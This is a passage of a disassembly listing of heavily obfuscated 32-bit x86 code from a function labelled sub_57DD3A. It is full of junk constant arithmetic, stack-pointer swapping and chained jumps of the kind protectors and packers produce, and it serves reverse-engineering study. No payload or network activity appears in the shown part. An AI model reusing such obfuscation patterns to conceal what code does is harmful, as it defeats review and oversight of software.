		add	ecx, 655B00F5h
		sub	ecx, ebp
		sub	ecx, 655B00F5h
		push	esi
		jmp	loc_5A186A
; ---------------------------------------------------------------------------


loc_59CE00:				; CODE XREF: sub_57DD3A+1ECA4j
		neg	bl
		sub	bl, 79h
		jmp	loc_59C038
; ---------------------------------------------------------------------------


loc_59CE0A:				; CODE XREF: sub_57DD3A+1091Dj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 539D6C14h
		xor	ecx, 539D6C10h
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		sub	esp, 4
		jmp	loc_58F281
; ---------------------------------------------------------------------------


loc_59CE33:				; CODE XREF: sub_57DD3A+20EC8j
		mov	[esp+1Ch+var_1E+2], ebx
		jmp	loc_5A0C37
; ---------------------------------------------------------------------------


loc_59CE3B:				; CODE XREF: sub_57DD3A+1DA9Fj
		sub	esi, ebx
		jmp	loc_59F06F
; ---------------------------------------------------------------------------


loc_59CE42:				; CODE XREF: sub_57DD3A+17F24j
		pop	edx
		jmp	loc_58E41C
; ---------------------------------------------------------------------------


loc_59CE48:				; CODE XREF: sub_57DD3A+246FEj
		add	[esp+10h+var_12+2], 4
		pop	[esp+10h+var_12+2]
		add	[esp+0Ch+var_E+2], 4
		mov	ecx, [esp+0Ch+var_E+2]
		jmp	loc_59B329
; ---------------------------------------------------------------------------


loc_59CE61:				; CODE XREF: sub_57DD3A+1F15Dj
		push	ecx
		push	esp
		mov	ecx, [esp+14h+var_16+2]
		jmp	loc_59E6C2
; ---------------------------------------------------------------------------


loc_59CE6B:				; CODE XREF: sub_57DD3A+1CFB9j
		mov	ecx, 309C1CC1h
		push	esi
		mov	esi, 109201F5h
		and	ecx, esi
		pop	esi
		push	edx
		jmp	loc_593AFC
; ---------------------------------------------------------------------------


loc_59CE7F:				; CODE XREF: sub_57DD3A+1BB17j
		sub	edi, 1EE15030h
		add	edi, 476B1623h
		jmp	loc_58FFB3
; ---------------------------------------------------------------------------


loc_59CE90:				; CODE XREF: sub_57DD3A+15486j
		and	[edi+1Ch], ecx
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_59CE61
; ---------------------------------------------------------------------------


loc_59CE9C:				; CODE XREF: sub_57DD3A+1C0C4j
		add	eax, edx
		pop	edx
		xchg	eax, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		push	[esp+36h+var_36]
		push	[esp+3Ah+var_3A]
		mov	ecx, [esp+3Eh+var_3E]
		add	esp, 4
		add	esp, 4
		jmp	loc_594340
; ---------------------------------------------------------------------------


loc_59CEBC:				; CODE XREF: sub_57DD3A+193CBj
		mov	ebx, 3A400E68h
		inc	ebx
		and	ebx, 6E0C5C20h
		jmp	loc_59B6F5
; ---------------------------------------------------------------------------


loc_59CECD:				; CODE XREF: sub_57DD3A+229CCj
		add	esp, 4
		push	[esp+7Ch+var_7C]
		pop	eax
		sub	esp, 4
		mov	[esp+80h+var_80], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+80h+var_80]
		xor	[esp+80h+var_80], edi
		xor	edi, [esp+80h+var_80]
		pop	esp
		jmp	loc_5A22C4
; ---------------------------------------------------------------------------


loc_59CEFA:				; CODE XREF: sub_57DD3A+15166j
		sub	esp, 4
		mov	[esp+10h+var_12+2], edx
		mov	edx, 69EF2F10h
		add	ebx, edx
		push	[esp+10h+var_12+2]
		jmp	loc_5A0532
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59CF1A:				; CODE XREF: sub_57DD3A+222DEj
		pop	cx
		sub	al, ch
		push	ebx
		mov	bh, 0A6h
		jmp	loc_591443
; ---------------------------------------------------------------------------


loc_59CF26:				; CODE XREF: sub_57DD3A+19202j
		pop	eax
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		jmp	loc_5918D9
; ---------------------------------------------------------------------------


loc_59CF3F:				; CODE XREF: sub_57DD3A+20376j
		not	dh
		sub	dh, 5Ah
		sub	dh, 0
		or	ch, dh
		pop	edx
		inc	ch
		inc	ch
		xor	ch, 0FAh
		add	dl, ch
		jmp	loc_5945AA
; ---------------------------------------------------------------------------


loc_59CF58:				; CODE XREF: sub_57DD3A+21898j
		sub	bl, 5Eh
		mov	ax, word ptr [esp+12h+var_12]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		push	eax
		push	[esp+1Ah+var_16]
		pop	eax
		pop	[esp+1Ah+var_1A]
		pop	esp
		push	[esp+12h+var_12]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_58F00A
; ---------------------------------------------------------------------------


loc_59CF80:				; CODE XREF: sub_57DD3A+13342j
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp+1Ch+var_1E+2]
		jmp	loc_5956D5
; ---------------------------------------------------------------------------


loc_59CF91:				; CODE XREF: sub_57DD3A+21CA6j
		push	ecx
		mov	ecx, 3D4C64BEh
		jmp	loc_595D21
; ---------------------------------------------------------------------------


loc_59CF9C:				; CODE XREF: sub_57DD3A+167DDj
		xor	al, 90h
		or	dh, al
		pop	eax
		push	cx
		mov	cl, 0FFh
		sub	dh, cl
		pop	cx
		jmp	loc_597756
; ---------------------------------------------------------------------------


loc_59CFAE:				; CODE XREF: sub_57DD3A+1E156j
		xchg	edx, [esp+42h+var_42]
		pop	esp
		jmp	loc_59286D
; ---------------------------------------------------------------------------


loc_59CFB7:				; CODE XREF: sub_57DD3A+12069j
		mov	bh, cl
		pop	ecx
		mov	ch, bh
		jmp	loc_594C71
; ---------------------------------------------------------------------------


loc_59CFC1:				; CODE XREF: sub_57DD3A+204E9j
		push	edx
		push	24BFh
		mov	[esp+3Ah+var_3A], ebp
		push	ecx
		mov	ecx, 4FB00314h
		jmp	loc_59B66E
; ---------------------------------------------------------------------------


loc_59CFD5:				; DATA XREF: sub_57DD3A+10526o
		mov	ax, word ptr [esp+3Eh+var_3E]
		push	698h
		jmp	loc_595A3E
; ---------------------------------------------------------------------------


loc_59CFE3:				; CODE XREF: sub_57DD3A+122C7j
		sub	eax, 0E749C3h
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], ebx
		push	5CD1723Ah
		pop	ebx
		sub	esp, 4
		mov	[esp+44h+var_46+2], edx
		mov	edx, 2B7205A9h
		xor	edx, 4AED22ADh
		or	edx, 620D2C64h
		jmp	loc_597A01
; ---------------------------------------------------------------------------


loc_59D01D:				; CODE XREF: sub_57DD3A+20C56j
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+44h+var_46+2]
		pop	esp
		xor	dl, cl
		xor	cl, dl
		jmp	loc_594457
; ---------------------------------------------------------------------------


loc_59D03A:				; CODE XREF: sub_57DD3A+162DAj
		and	ebx, 223F0CDCh
		add	ebx, 0B394DFCCh
		add	eax, 42E377E4h
		add	eax, ebx
		sub	eax, 42E377E4h
		jmp	loc_591E4D
; ---------------------------------------------------------------------------


loc_59D057:				; CODE XREF: sub_57DD3A+16288j
		push	ebx
		push	esp
		jmp	loc_59260F
; ---------------------------------------------------------------------------


loc_59D05E:				; CODE XREF: sub_57DD3A+23DE7j
		add	esp, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		jmp	loc_59DE1A
; ---------------------------------------------------------------------------


loc_59D06F:				; CODE XREF: sub_57DD3A+1979Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+84h+var_84]
		jmp	loc_59A7D0
; ---------------------------------------------------------------------------


loc_59D080:				; CODE XREF: sub_57DD3A+15BAFj
		add	esp, 4
		sub	ecx, 251528B0h
		pop	esi
		add	eax, 427A331Eh
		jmp	loc_595FB3
; ---------------------------------------------------------------------------


loc_59D097:				; CODE XREF: sub_57DD3A+200F0j
		add	ecx, 4
		jmp	loc_5942B0
; ---------------------------------------------------------------------------


loc_59D0A2:				; CODE XREF: sub_57DD3A+1E14Ej
		push	ecx
		push	ebx
		jmp	loc_5A14FA
; ---------------------------------------------------------------------------
		push	[esp+32h+var_32]
		push	[esp+36h+var_36]
		jmp	loc_5982E4
; ---------------------------------------------------------------------------


loc_59D0B4:				; CODE XREF: sub_57DD3A+20F01j
		pop	ebx
		sub	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp+36h+var_36], ebx
		jmp	loc_59F6C0
; ---------------------------------------------------------------------------


loc_59D0C3:				; CODE XREF: sub_57DD3A+23983j
		push	eax
		push	ebx
		mov	ebx, 496D5CA9h
		or	ebx, 7E2445A7h
		and	ebx, 74F85024h
		add	ebx, 0DFA0968h
		push	esi
		jmp	loc_59B3BE
; ---------------------------------------------------------------------------


loc_59D0E2:				; CODE XREF: sub_57DD3A+1A67Bj
		dec	edx
		jmp	loc_59FC00
; ---------------------------------------------------------------------------


loc_59D0E8:				; CODE XREF: sub_57DD3A+16DD0j
		add	esp, 4
		pop	eax
		jmp	loc_59FC1A
; ---------------------------------------------------------------------------


loc_59D0F1:				; CODE XREF: sub_57DD3A+13065j
		mov	dl, 64h
		neg	dl
		xor	dl, 10h
		not	dl
		xor	dl, 67h
		and	dl, 9
		xor	dl, 76h
		and	dl, 0ACh
		shr	dl, 4
		neg	dl
		jmp	loc_58FB46
; ---------------------------------------------------------------------------


loc_59D110:				; CODE XREF: sub_57DD3A+10AF8j
		push	ebx
		not	[esp+14h+var_16+2]
		jmp	loc_5951D6
; ---------------------------------------------------------------------------


loc_59D119:				; CODE XREF: sub_57DD3A+22257j
		xor	edx, 3715772Ah
		not	edx
		xor	edx, 0EF15980Fh
		sub	edi, 2F8336C1h
		add	edi, 6FAF0F31h
		add	edi, edx
		sub	edi, 6FAF0F31h
		add	edi, 2F8336C1h
		pop	edx
		add	edi, 4
		xchg	edi, [esp+10h+var_12+2]
		pop	esp
		push	4C5Ch
		mov	[esp+10h+var_12+2], edi
		sub	esp, 4
		mov	[esp+14h+var_16+2], edx
		jmp	loc_58F4C4
; ---------------------------------------------------------------------------


loc_59D15C:				; CODE XREF: sub_57DD3A+19C32j
		add	edx, eax
		jmp	loc_599939
; ---------------------------------------------------------------------------


loc_59D163:				; CODE XREF: sub_57DD3A+254EAj
		push	ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	27A7h
		mov	[esp+18h+var_1A+2], edx
		push	436Bh
		mov	[esp+1Ch+var_1E+2], ebp
		push	esi
		mov	esi, 1F55268Eh
		jmp	loc_59ACF8
; ---------------------------------------------------------------------------


loc_59D189:				; CODE XREF: sub_57DD3A+24B55j
		mov	ah, bl
		pop	ebx
		push	edx
		mov	dl, ah
		mov	ch, dl
		pop	edx
		pop	eax
		sub	ch, 5Ah
		sub	ch, 0A4h
		add	ch, bl
		add	ch, 0A4h
		add	ch, 5Ah
		mov	ebx, [esp+18h+var_1A+2]
		jmp	loc_591B46
; ---------------------------------------------------------------------------


loc_59D1A9:				; CODE XREF: sub_57DD3A+10FB9j
		add	eax, 0DC4ED134h
		sub	ebx, eax
		pop	eax
		pop	eax
		xchg	ebx, [esp+12h+var_12]
		pop	esp
		jmp	loc_5905DB
; ---------------------------------------------------------------------------


loc_59D1BB:				; CODE XREF: sub_57DD3A+135A6j
		sub	edi, 72D437C1h
		push	[esp+46h+var_46]
		pop	esi
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+42h+var_42]
		jmp	loc_59F546
; ---------------------------------------------------------------------------


loc_59D1D3:				; CODE XREF: sub_57DD3A+113EBj
		push	small 45F6h
		mov	word ptr [esp+44h+var_46+2], bx
		sub	word ptr [esp+44h+var_46+2], 16AAh
		pop	bp
		add	bp, 16AAh
		jmp	loc_5937C3
; ---------------------------------------------------------------------------


loc_59D1ED:				; CODE XREF: sub_57DD3A+188A4j
		pop	ebx
		add	eax, ecx
		mov	ecx, [esp+5Ah+var_5C+2]
		add	esp, 4
		xchg	eax, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		test	ecx, eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59D204:				; CODE XREF: sub_57DD3A+121C4j
		and	edx, ebp
		pop	ebp
		jmp	loc_593A93
; ---------------------------------------------------------------------------


loc_59D20C:				; CODE XREF: sub_57DD3A+14DC8j
		push	[esp+6+var_8+2]
		mov	ebx, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_598791
; ---------------------------------------------------------------------------


loc_59D226:				; CODE XREF: sub_57DD3A+1855Aj
		push	edx
		mov	dh, ch
		mov	ah, dh
		mov	edx, [esp+52h+var_54+2]
		add	esp, 4
		mov	ecx, [esp+4Eh+var_50+2]
		add	esp, 4
		shl	ah, 3
		xor	ah, 52h
		and	ch, ah
		push	[esp+4Ah+var_4C+2]
		pop	eax
		add	esp, 4
		xor	ch, 62h
		mov	dl, ch
		mov	ecx, [esp+46h+var_46]
		jmp	loc_599CEC
; ---------------------------------------------------------------------------


loc_59D256:				; CODE XREF: sub_57DD3A+24437j
		mov	bh, 8Ch
		and	cl, bh
		mov	bx, word ptr [esp+46h+var_46]
		add	esp, 2
		dec	cl
		jmp	loc_594FC4
; ---------------------------------------------------------------------------


loc_59D268:				; CODE XREF: sub_57DD3A+164F5j
		and	edx, 632D2D83h
		sub	edx, 2105007Fh
		add	eax, edx
		mov	edx, [esp+4Eh+var_50+2]
		add	esp, 4
		xchg	eax, [esp+4Ah+var_4C+2]
		pop	esp
		jmp	loc_595BCC
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+46h+var_46]
		jmp	loc_59E3F2
; ---------------------------------------------------------------------------


loc_59D28E:				; CODE XREF: sub_57DD3A+23BBCj
		add	edx, 6909F8A7h
		jmp	loc_58E4F5
; ---------------------------------------------------------------------------


loc_59D299:				; CODE XREF: sub_57DD3A+11CBCj
		and	esi, 21427AD0h
		jmp	loc_5A2643
; ---------------------------------------------------------------------------


loc_59D2A4:				; CODE XREF: sub_57DD3A+21D64j
		mov	ecx, 0AC17AE27h
		sub	edx, ecx
		pop	ecx
		mov	esi, edx
		jmp	loc_5A2E2A
; ---------------------------------------------------------------------------


loc_59D2B3:				; CODE XREF: sub_57DD3A+11718j
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp+0]
		xor	[esp+0], esi
		jmp	loc_59F8E1
; ---------------------------------------------------------------------------


loc_59D2CD:				; CODE XREF: sub_57DD3A+14464j
		mov	ebx, 6EB120DEh
		shl	ebx, 6
		push	eax
		mov	eax, 53B7C884h
		add	ebx, eax
		pop	eax
		jmp	loc_59C3D8
; ---------------------------------------------------------------------------


loc_59D2E3:				; CODE XREF: sub_57DD3A+14EB0j
		add	edx, 0D19E8F2h
		add	edi, edx
		pop	edx
		sub	edi, 3B304A7Dh
		pop	ebx
		jmp	loc_5A041B
; ---------------------------------------------------------------------------


loc_59D2F8:				; CODE XREF: sub_57DD3A+198C8j
		xchg	esi, [esp+58h+var_58]
		pop	esp
		jmp	loc_59EEC8
; ---------------------------------------------------------------------------


loc_59D301:				; CODE XREF: sub_57DD3A+15649j
		sub	eax, edx
		pop	edx
		sub	ecx, 124603Ch
		jmp	loc_58E64C
; ---------------------------------------------------------------------------


loc_59D30F:				; DATA XREF: sub_57DD3A+103DEo
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_59AFF4
; ---------------------------------------------------------------------------


loc_59D323:				; CODE XREF: sub_57DD3A+12336j
		add	esp, 4
		jmp	loc_597F0E
; ---------------------------------------------------------------------------


loc_59D32E:				; CODE XREF: sub_57DD3A+20496j
		sub	esp, 4
		mov	[esp+14h+var_16+2], esp
		add	[esp+14h+var_16+2], 4
		mov	esi, [esp+14h+var_16+2]
		add	esp, 4
		add	esi, 4
		jmp	loc_5956AA
; ---------------------------------------------------------------------------
		push	40FBh
		mov	[esp+14h+var_16+2], ebp
		push	esp
		jmp	loc_595DD5
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+18h+var_1A+2]
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ecx
		jmp	loc_5923CF
; ---------------------------------------------------------------------------


loc_59D36C:				; CODE XREF: sub_57DD3A+1792Dj
		push	esi
		jmp	loc_5A1F86
; ---------------------------------------------------------------------------


loc_59D372:				; CODE XREF: sub_57DD3A+14DB5j
		sub	eax, 3D832687h
		jmp	loc_594E9F
; ---------------------------------------------------------------------------


loc_59D37C:				; CODE XREF: sub_57DD3A+14B5Ej
		add	ebx, ebp
		jmp	loc_5948DD
; ---------------------------------------------------------------------------


loc_59D383:				; CODE XREF: sub_57DD3A+1654Dj
		pop	esi
		xor	ecx, eax
		pop	eax
		push	ecx
		add	[esp+1Eh+var_1E], 1ECE6CB7h
		pop	ebx
		sub	ebx, 1ECE6CB7h
		mov	ecx, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59D3A4:				; CODE XREF: sub_57DD3A+159AEj
		add	eax, 19EB19F1h
		sub	ecx, 2A72061Eh
		push	ebx
		mov	ebx, 6D434A57h
		or	ebx, 7D6C436Ah
		jmp	loc_59AC64
; ---------------------------------------------------------------------------


loc_59D3C0:				; CODE XREF: sub_57DD3A+1BB46j
		pop	ecx
		xor	ebp, ecx
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		shl	ebp, 5
		jmp	loc_59DA4D
; ---------------------------------------------------------------------------


loc_59D3D2:				; CODE XREF: sub_57DD3A+1E65Bj
		push	ebx
		push	edx
		mov	dh, ah
		push	ecx
		mov	ch, dh
		jmp	loc_59BFCE
; ---------------------------------------------------------------------------


loc_59D3DE:				; CODE XREF: sub_57DD3A+1C08Ej
		add	esp, 4
		jmp	loc_5A0CF2
; ---------------------------------------------------------------------------


loc_59D3E6:				; CODE XREF: sub_57DD3A+2550Bj
		add	al, bl
		pop	ebx
		jmp	loc_599898
; ---------------------------------------------------------------------------


loc_59D3EE:				; CODE XREF: sub_57DD3A+15C56j
		pop	ebp
		jmp	loc_593895
; ---------------------------------------------------------------------------


loc_59D3F4:				; CODE XREF: sub_57DD3A+15509j
		push	4258h
		mov	[esp+0], ecx
		add	dword ptr [esp+0], 48AF3E06h
		pop	ebp
		sub	ebp, 48AF3E06h
		jmp	loc_5913E5
; ---------------------------------------------------------------------------


loc_59D40F:				; CODE XREF: sub_57DD3A+1B368j
		mov	ecx, [esp+2Ah+var_2A]
		jmp	loc_593736
; ---------------------------------------------------------------------------


loc_59D417:				; CODE XREF: sub_57DD3A+1A298j
		add	edi, 5FC264B1h
		jmp	loc_592866
; ---------------------------------------------------------------------------


loc_59D422:				; CODE XREF: sub_57DD3A+183BDj
		or	eax, 169A7D68h
		push	ecx
		mov	ecx, 3F3712D5h
		xor	eax, ecx
		pop	ecx
		xor	eax, 419862EDh
		push	ebx
		mov	ebx, 601D74F6h
		sub	ebx, 597B6FC8h
		or	ebx, 3694101Dh
		sub	ebx, 289E2A7Fh
		push	esi
		mov	esi, 88EBC6F9h
		jmp	loc_596628
; ---------------------------------------------------------------------------


loc_59D458:				; CODE XREF: sub_57DD3A+184BAj
		pop	edx
		add	ebp, 4
		jmp	loc_59FDB8
; ---------------------------------------------------------------------------


loc_59D464:				; CODE XREF: sub_57DD3A+20327j
		add	ebx, 4
		jmp	loc_5912B3
; ---------------------------------------------------------------------------


loc_59D46F:				; CODE XREF: sub_57DD3A+191DEj
		push	eax
		push	esi
		push	56103227h
		pop	esi
		jmp	loc_5997D9
; ---------------------------------------------------------------------------


loc_59D47C:				; CODE XREF: sub_57DD3A+224A7j
		push	ebx
		push	ecx
		jmp	loc_5A30F5
; ---------------------------------------------------------------------------


loc_59D483:				; CODE XREF: sub_57DD3A+1AD6Dj
		add	edx, 1BF5159Dh
		or	edx, 15CA5DA9h
		and	edx, 7DB727A7h
		sub	edx, 42A007A5h
		jmp	loc_59CC29
; ---------------------------------------------------------------------------


loc_59D4A0:				; CODE XREF: sub_57DD3A+20A0Aj
		or	eax, eax
		jz	loc_5A1B89
		push	edx
		push	6058h
		mov	[esp+3Eh+var_3E], edi
		jmp	loc_591C89
; ---------------------------------------------------------------------------
		push	[esp+3Eh+var_3E]
		jmp	loc_59F86C
; ---------------------------------------------------------------------------


loc_59D4BE:				; CODE XREF: sub_57DD3A+1D3DCj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4Eh+var_50+2]
		pop	esp
		jmp	loc_597F5C
; ---------------------------------------------------------------------------


loc_59D4D3:				; CODE XREF: sub_57DD3A+1B2B7j
		mov	[esp+32h+var_32], edx
		push	ecx
		jmp	loc_592AB0
; ---------------------------------------------------------------------------


loc_59D4DC:				; CODE XREF: sub_57DD3A+121A0j
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_59AF1F
; ---------------------------------------------------------------------------


loc_59D4EB:				; CODE XREF: sub_57DD3A+13466j
		pop	esp
		jmp	loc_59162C
; ---------------------------------------------------------------------------


loc_59D4F1:				; CODE XREF: sub_57DD3A+19D56j
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		add	ebx, 40C04B56h
		add	ebx, edi
		sub	ebx, 40C04B56h
		push	edx
		push	eax
		mov	eax, 422C0E5Fh
		mov	edx, eax
		pop	eax
		jmp	loc_5A2176
; ---------------------------------------------------------------------------


loc_59D517:				; CODE XREF: sub_57DD3A+1A2F6j
		xor	[esp+58h+var_58], ebx
		jmp	loc_5A1C06
; ---------------------------------------------------------------------------


loc_59D51F:				; CODE XREF: sub_57DD3A+1C0CFj
		sub	edi, 115747C4h
		push	ecx
		push	ebx
		mov	ebx, 3DBA321Fh
		push	edi
		mov	edi, 0
		sub	edi, ebx
		mov	ebx, edi
		jmp	loc_5A2BC4
; ---------------------------------------------------------------------------


loc_59D53B:				; CODE XREF: sub_57DD3A+14FEBj
		push	esi
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp+24h+var_26+2]
		jmp	loc_59B4DB
; ---------------------------------------------------------------------------


loc_59D54B:				; CODE XREF: sub_57DD3A+112F7j
		mov	[esp+34h+var_36+2], edi
		mov	edi, esp
		push	ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		jmp	loc_59860B
; ---------------------------------------------------------------------------


loc_59D55F:				; CODE XREF: sub_57DD3A+22D50j
		push	[esp+38h+var_3A+2]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_597E1D
; ---------------------------------------------------------------------------


loc_59D577:				; CODE XREF: sub_57DD3A+166B5j
		shr	ah, 5
		push	bx
		mov	bh, 0C5h
		sub	ah, bh
		pop	bx
		jmp	loc_59BB55
; ---------------------------------------------------------------------------


loc_59D587:				; CODE XREF: sub_57DD3A+17F5Ej
		push	eax
		mov	eax, 4
		jmp	loc_59DB81
; ---------------------------------------------------------------------------


loc_59D592:				; CODE XREF: sub_57DD3A+18E03j
		mov	[esp+7Eh+var_80+2], ecx
		xchg	ebp, [esp+7Eh+var_80+2]
		jmp	loc_59ED83
; ---------------------------------------------------------------------------


loc_59D59D:				; CODE XREF: sub_57DD3A+16871j
		neg	dl
		inc	dl
		sub	dl, 0D4h
		sub	bl, dl
		mov	edx, [esp+50h+var_50]
		add	esp, 4
		add	bl, 16h
		sub	bl, al
		jmp	loc_59E7D7
; ---------------------------------------------------------------------------


loc_59D5B9:				; CODE XREF: sub_57DD3A+1E83Dj
		push	esp
		jmp	loc_5A0067
; ---------------------------------------------------------------------------


loc_59D5BF:				; CODE XREF: sub_57DD3A+1A72Fj
		mov	ecx, 72266A9Dh
		add	esi, ecx
		pop	ecx
		add	esi, eax
		sub	esi, 72266A9Dh
		jmp	loc_58EA05
; ---------------------------------------------------------------------------


loc_59D5D4:				; CODE XREF: sub_57DD3A+1C6A0j
		pop	ecx
		add	ecx, 4
		jmp	loc_5979EC
; ---------------------------------------------------------------------------


loc_59D5E0:				; CODE XREF: sub_57DD3A+1ED2Bj
		xor	esi, [esp+1Eh+var_1E]
		xor	[esp+1Eh+var_1E], esi
		xor	esi, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		push	3FC1h
		mov	[esp+22h+var_22], ebx
		jmp	loc_58E44B
; ---------------------------------------------------------------------------


loc_59D5F9:				; CODE XREF: sub_57DD3A+1CEC6j
		mov	[esp+1Ch+var_1E+2], edx
		mov	edx, esp
		jmp	loc_593AA1
; ---------------------------------------------------------------------------


loc_59D603:				; CODE XREF: sub_57DD3A+20AFCj
		mov	edi, [esp+1Ch+var_1E+2]
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp+18h+var_1A+2]
		xor	[esp+18h+var_1A+2], ecx
		xor	ecx, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		jmp	loc_59848B
; ---------------------------------------------------------------------------


loc_59D623:				; CODE XREF: sub_57DD3A+1BA0Fj
		pop	ebx
		jmp	loc_595EC8
; ---------------------------------------------------------------------------


loc_59D629:				; CODE XREF: sub_57DD3A+216AAj
		pop	edx
		xchg	ebx, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		shl	[esp+6Ch+var_6C], cl
		jmp	loc_599AD6
; ---------------------------------------------------------------------------


loc_59D638:				; CODE XREF: sub_57DD3A+23DB3j
		sub	esp, 4
		mov	[esp+70h+var_70], ebp
		mov	ebp, 700E2851h
		jmp	loc_59B444
; ---------------------------------------------------------------------------


loc_59D648:				; CODE XREF: sub_57DD3A+15881j
		mov	[esp+4Ch+var_4C], eax
		jmp	loc_594084
; ---------------------------------------------------------------------------


loc_59D650:				; CODE XREF: sub_57DD3A+1C940j
		sub	esi, ebx
		jmp	loc_59E510
; ---------------------------------------------------------------------------


loc_59D657:				; CODE XREF: sub_57DD3A+238CCj
		pop	ebp
		push	ebp
		jmp	loc_5A0BF3
; ---------------------------------------------------------------------------


loc_59D65E:				; CODE XREF: sub_57DD3A+14B98j
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+32h+var_32]
		pop	esp
		push	ecx
		push	esp
		mov	ecx, [esp+36h+var_36]
		jmp	loc_5942C8
; ---------------------------------------------------------------------------
		mov	edx, [esp+36h+var_36]
		push	7A8Eh
		mov	[esp+3Ah+var_3A], esi
		jmp	loc_5A27EB
; ---------------------------------------------------------------------------


loc_59D682:				; CODE XREF: sub_57DD3A+17B7Bj
		push	28F1h
		mov	[esp+60h+var_60], ecx
		jmp	loc_59F6CC
; ---------------------------------------------------------------------------


loc_59D68F:				; DATA XREF: sub_57DD3A+1035Eo
		mov	ax, word ptr [esp+60h+var_60]
		push	edx
		push	esp
		push	[esp+68h+var_68]
		pop	edx
		add	esp, 4
		push	1C5Dh
		mov	[esp+68h+var_68], eax
		sub	esp, 4
		jmp	loc_597D5A
; ---------------------------------------------------------------------------
		push	[esp+6Ch+var_6C]
		push	[esp+70h+var_70]
		jmp	loc_5A12EA
; ---------------------------------------------------------------------------


loc_59D6BA:				; CODE XREF: sub_57DD3A+18D2Cj
		not	edi
		xchg	edi, esi
		or	esi, 65B05672h
		jmp	loc_5A15C6
; ---------------------------------------------------------------------------


loc_59D6C9:				; CODE XREF: sub_57DD3A+13160j
		pop	eax
		add	esp, 4
		add	ebp, edx
		mov	edx, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_59F75E
; ---------------------------------------------------------------------------


loc_59D6DD:				; CODE XREF: sub_57DD3A+1CF01j
		pop	ecx
		jmp	loc_596973
; ---------------------------------------------------------------------------


loc_59D6E3:				; CODE XREF: sub_57DD3A+17D42j
		push	edx
		jmp	loc_597941
; ---------------------------------------------------------------------------


loc_59D6E9:				; CODE XREF: sub_57DD3A+2157Ej
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+42h+var_42]
		pop	esp
		push	esp
		pop	[esp+42h+var_42]
		push	esi
		jmp	loc_58FCE1
; ---------------------------------------------------------------------------


loc_59D703:				; CODE XREF: sub_57DD3A+21759j
		mov	dl, cl
		pop	ecx
		jmp	loc_59A1CF
; ---------------------------------------------------------------------------


loc_59D70B:				; CODE XREF: sub_57DD3A+1BA62j
		sub	eax, ebx
		push	[esp+56h+var_58+2]
		jmp	loc_59DBA7
; ---------------------------------------------------------------------------


loc_59D715:				; CODE XREF: sub_57DD3A+2420Ej
		pop	edx
		jmp	loc_59DAFA
; ---------------------------------------------------------------------------


loc_59D71B:				; CODE XREF: sub_57DD3A+2522Bj
		push	ebx
		mov	ebx, 14E0610h
		jmp	loc_591614
; ---------------------------------------------------------------------------


loc_59D726:				; CODE XREF: sub_57DD3A+1B75Aj
		not	ebp
		not	ebp
		push	esi
		mov	esi, 154B1D63h
		sub	esi, 61E61794h
		shl	esi, 1
		neg	esi
		jmp	loc_59A3E9
; ---------------------------------------------------------------------------


loc_59D73F:				; CODE XREF: sub_57DD3A+2175Fj
		add	esp, 4
		push	5387h
		jmp	loc_5956E9
; ---------------------------------------------------------------------------


loc_59D74C:				; CODE XREF: sub_57DD3A+22452j
		not	ecx
		xor	ecx, 0D7DCC158h
		jmp	loc_5961A4
; ---------------------------------------------------------------------------


loc_59D759:				; CODE XREF: sub_57DD3A+1B800j
		mov	edi, 3107EE06h
		sub	esi, edi
		pop	edi
		sub	ebx, esi
		jmp	loc_59B655
; ---------------------------------------------------------------------------


loc_59D768:				; CODE XREF: sub_57DD3A+23701j
		or	ebp, 697430E2h
		xor	ebp, 8117035h
